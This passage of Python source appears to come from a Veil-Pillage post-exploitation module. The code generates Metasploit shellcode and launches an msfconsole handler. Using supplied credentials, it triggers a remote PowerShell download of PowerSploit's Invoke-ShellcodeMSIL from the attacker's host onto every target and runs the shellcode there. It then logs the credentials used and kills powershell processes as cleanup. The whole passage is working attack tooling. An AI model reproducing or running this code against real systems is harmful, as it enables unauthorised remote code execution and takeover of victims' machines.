delivery_methods.powershellHostTrigger(self.targets,
username,
password,
secondStagePath,
lhost,
scriptArguments,
trigger_method,
ssl=use_ssl)
for target in self.targets:
self.output += "[*] Powersploit:Invoke-Shellcode payload=" + payload + " lhost=" + lhost + " lport=" + lport + " triggered using creds '" + username + ":" + password + "' on " + target + " using " + trigger_method + "\n"
# build our cleanup file -> kill all powershell processes
killCMD = "taskkill /f /im powershell.exe"
self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + killCMD + "|" + trigger_method + "\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
triggerMethod = self.required_options["trigger_method"][0]
spawnHandler = self.required_options["spawn_handler"][0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
# nab up some shellcode from Veil-Evasion
# users can set custom shellcode there
sc = shellcode.Shellcode()
# set the payload to use, if specified
if self.args.msfpayload:
sc.SetPayload([self.args.msfpayload, self.args.msfoptions])
# set custom shellcode if specified
elif self.args.custshell:
sc.setCustomShellcode(self.args.custshell)
# generate our shellcode and get it into the correct format
sc_raw = sc.generate()
sc_transformed = ",0".join(sc_raw.split("\\"))[1:]
# re-print the title and module name after shellcode generation (Veil-Evasion trashes this)
messages.title()
sys.stdout.write(" [*] Executing module: " + helpers.color(self.name) + "...")
# if we're using Veil-Evasion's generated handler script, try to spawn it
if spawnHandler.lower() == "true":
# turn our shellcode object into a handler script
handlerPath = helpers.shellcodeToHandler(sc)
# make sure a handler was returned
if handlerPath != "":
# command to spawn a new tab
cmd = (
"gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '"
+ handlerPath
+ "'\""
)
# invoke msfconsole with the handler script in a new tab
os.system(cmd)
raw_input("\n\n [>] Press enter when handler is ready: ")
# path to the PowerSploit Invoke-ShellcodeMSIL.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/PowerSploit/Invoke-ShellcodeMSIL.ps1"
# command to invoke the appropriate shellcode in the script
scriptArguments = "Invoke-ShellcodeMSIL -Shellcode @(%s)" % (sc_transformed)
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(
self.targets, username, password, secondStagePath, lhost, scriptArguments, triggerMethod, ssl=use_ssl
)
for target in self.targets:
self.output += (
"[*] Powersploit:Invoke-ShellcodeMSIL triggered using creds '"
+ username
+ ":"
+ password
+ "' on "
+ target
+ " using "
+ triggerMethod
+ "\n"
)
# build our cleanup file -> kill all powershell processes
killCMD = "taskkill /f /im powershell.exe"
self.cleanup += (
"executeCommand|"
+ target
+ "|"
+ username
+ "|"
+ password
+ "|"
+ killCMD
+ "|"
+ triggerMethod
+ "\n"
)